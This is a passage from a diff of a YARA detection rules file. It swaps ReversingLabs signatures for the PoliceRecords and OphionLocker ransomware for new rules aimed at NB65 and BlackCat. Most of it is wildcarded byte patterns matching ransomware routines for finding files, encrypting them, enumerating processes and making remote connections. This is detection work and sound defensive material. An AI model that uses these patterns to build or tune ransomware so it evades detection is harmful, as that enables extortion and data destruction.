+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1
+            FF 15 ?? ?? ?? ?? 33 C0 50 50 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ??
+            ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB ?? 81 3B ?? ??
+            ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ??
+            ?? 8D 75 ?? 8B 45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E
+            33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
 		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ??
-            B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? DB
-            45 ?? DD 5D ?? DD 45 ?? DB 45 ?? DD 5D ?? DC 65 ?? DD 5D ?? DD 45 ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ??
-            ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B
-            5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D
-            ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
+            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 45 ?? 83 F8 ?? C7 45 ?? ?? ?? ?? ?? 0F
+            94 C7 83 F8 ?? 0F 94 C3 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 0F B6 C3 83 F0 ?? 8D 04
+            45 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B C8 89 4E ??
+            85 C9 0F 84 ?? ?? ?? ?? 84 FF 74 ?? BF ?? ?? ?? ?? EB ?? 0F B6 C3 8D 3C 45 ?? ?? ??
+            ?? 8B 56 ?? 8B 46 ?? 85 D2 7C ?? 0F 8F ?? ?? ?? ?? 85 C0 72 ?? 85 D2 7C ?? 0F 8F ??
+            ?? ?? ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 55 ?? EB ?? 0F 57 C0 66 0F 13
+            45 ?? 8B 45 ?? FF 75 ?? 50 FF 75 ?? FF 75 ?? 57 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D
+            4D ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ??
+            59 5F 5E 5B 8B E5 5D C2
         }
 		$encrypt_files_p2 = {
-            83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89
-            45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ??
-            ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ??
-            ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ??
-            8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ??
-            ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A
-            ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ??
-            B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85
-            DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ??
-            8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C5
+            50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ??
+            ?? 8B 4D ?? 85 C9 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 45 ?? 85 C0 74 ?? 0F
+            8E ?? ?? ?? ?? 83 F8 ?? 7E ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB ?? F6 C1 ?? C7 45 ?? ??
+            ?? ?? ?? B8 ?? ?? ?? ?? 0F 95 C0 40 89 45 ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83
+            7D ?? ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83 7D ?? ?? 0F 82 ??
+            ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8D 45 ?? 8B
+            CE 50 E8 ?? ?? ?? ?? 8D 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C2 ?? ?? 8D 45 ?? 6A
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ??
+            ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45
+            ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6
+            45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Policerecords : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_NB65 : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects PoliceRecords ransomware."
+		description = "Yara rule that detects NB65 ransomware."
 		author = "ReversingLabs"
-		id = "bacd3f98-a069-58ca-8423-01fcef7d4062"
-		date = "2022-08-02"
-		modified = "2022-08-02"
+		id = "1aba009e-8065-5fb0-98e7-a595cb324076"
+		date = "2022-06-01"
+		modified = "2022-06-01"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara#L1-L79"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "55cb1a5d030c47abb1a9ca9970fb19b3124128e409bc9515c173c33b2bb49a16"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.NB65.yara#L1-L68"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f8a0e265fc72a9f017b37ce4b6dbb878285a5d298ab1b8c69f9fde7159426981"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26560,68 +28076,61 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Policerecords : TC_DETECTION MALICIO
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "PoliceRecords"
+		tc_detection_name = "NB65"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$encrypt_files = {
-            00 72 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 0C 04 0D 09 18 73 ?? ?? ??
-            ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 08 08 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ??
-            03 19 73 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ??
-            25 13 ?? 15 FE 01 16 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ??
-            ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 2A
+            E8 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
+            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
+            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
+            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
+            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ?? 75 ?? 33 C9 90 8A 44 0D ??
+            0F B6 C0 83 E8 ?? 6B C0 ?? 99 F7 FB 8D 42 ?? 99 F7 FB 88 54 0D ?? 41 83 F9 ?? 72 ??
+            8D 45 ?? 89 45 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 50
+            ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D0
+            85 C0 75 ?? 33 F6 66 90 A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ??
+            8D 50 ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? FF B4 B5 ?? ?? ??
+            ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
         }
 		$find_files = {
-            11 ?? 11 ?? 9A 13 ?? 00 00 07 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E
-            69 32 ?? 00 DE ?? 26 00 00 DE ?? 17 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 0C 16 13 ??
-            2B ?? 00 00 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 00
-            72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ??
-            00 11 ?? 17 58 13 ?? 11 ?? 08 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 72 ?? ?? ?? ?? 1D 28
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1D 28 ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 7E ?? ??
-            ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ??
-            ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 16 8C
-            ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11
-            ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F
-            ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ??
-            72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ??
-            13 ?? 11 ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 26 2A
-        }
-		$desktop_kill_tick = {
-            02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 28 ?? ?? ?? ?? 00
-            00 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 02 7B ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 2A
+            57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57
+            53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ??
+            5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ??
+            80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ??
+            ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ??
+            8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
         }
-		$drop_ransom_note = {
-            00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 00 07 72 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07
-            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ??
-            07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 26 2A
+		$enum_procs = {
+            33 C9 66 90 8A 84 0D ?? ?? ?? ?? 0F B6 C0 83 E8 ?? 8D 04 C0 99 F7 BD ?? ?? ?? ?? 8D
+            42 ?? 99 F7 BD ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? A1 ?? ?? ?? ?? 8B
+            40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41
+            ?? 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? 6A ?? E8 ?? ?? ?? ??
+            83 C4 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? 8D 50 ?? 8B 8D ?? ?? ?? ?? 89 08 C7 02 ?? ??
+            ?? ?? 8B 4E ?? 89 48 ?? 8B 4E ?? 89 01 89 56 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0
+            0F 85 ?? ?? ?? ?? 5B A1 ?? ?? ?? ?? 8B 40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9
+            E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41 ?? 57 FF D0 8B 4D ?? 5F 33 CD 5E E8 ?? ?? ??
+            ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($desktop_kill_tick) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and ($find_files) and ($enum_procs) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Ophionlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Blackcat : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects OphionLocker ransomware."
+		description = "Yara rule that detects BlackCat ransomware."
 		author = "ReversingLabs"
-		id = "75335749-66bd-539e-92b3-dd92c0b332d8"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "e623340d-8df8-5f13-b75f-379bd0038f64"
+		date = "2022-02-14"
+		modified = "2022-02-14"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.OphionLocker.yara#L1-L105"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3c54a948a6a45ec5f5bc32fbbdbc8822f402b1332e9109b20b90635464dbe2ac"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BlackCat.yara#L1-L109"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "24932baa625aedd14b5776ba3209c9ee330e84538c5267eeb5e09e352f655835"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26629,104 +28138,96 @@ rule REVERSINGLABS_Win32_Ransomware_Ophionlocker : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "OphionLocker"
+		tc_detection_name = "BlackCat"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$ol_do_filetypes_1 = {
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 33 DB 53 89 5D ?? 53 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+		$remote_connection_p1 = {
+            8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? A1 ??
+            ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? A1 ?? ?? ?? ?? 0F 45 C1 8B 0D ?? ??
+            ?? ?? 0F 45 CA 8D 54 24 ?? 89 94 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
+            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ??
+            ?? ?? ?? 56 51 FF 50 ?? 83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ??
+            FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
+            ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75
+            ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 85
         }
-		$ol_do_filetypes_2 = {
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? FF 75 ?? 8D 4D ?? 89 5D ?? 50
-            8D 85 ?? ?? ?? ?? 89 5D ?? 50 53 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8
-            ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 8D 75 ?? 50 E8 ?? ??
-            ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 58 89 45 ?? 89 5D ?? 88 5D ?? 89 45 ?? 89
-            5D ?? 88 5D ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 8B 39 E9 00 01 00 00 8B 77 ??
-            8D 47 ?? 89 45 ?? 3B 77 ?? 0F 84 EC 00 00 00 8B F8 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D
